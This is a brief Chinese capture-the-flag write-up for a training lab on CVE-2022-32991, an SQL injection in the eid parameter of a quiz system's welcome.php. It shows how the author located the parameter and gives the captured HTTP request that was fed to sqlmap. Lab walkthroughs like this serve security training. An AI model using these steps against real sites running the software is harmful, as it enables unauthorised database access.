【春秋云境】CVE-2022-32991

靶标介绍：

​ 该CMS的welcome.php中存在SQL注入攻击

介绍中就很明显提示了welcome.php中存在SQL注入，那么就直接访问。但是要先登录，我们直接注册一个进去。


注册完登录进去就发现有问题：

根据CVE官方：

​ 在welcome.php，发现基于 Web 的测验系统 v1.0 通过 eid 参数包含一个 SQL 注入漏洞。

​ 观察该页面URL，发现虽然为welcome.php，但参数并不是eid
​ 继续查找其他页面，点击第一栏Start进行跳转：

发现存在welcome.php和eid参数

​ 抓包保存，然后

sqlmap

一把梭

GET /welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34 HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zebh47zigor7qbxl1xz.cloudeci1.ichunqiu.com/welcome.php?q=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1674888024,1674891013;Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1674891013;PHPSESSID=s536m4lr01jk6jiuuui8tdjtuo
Connection: close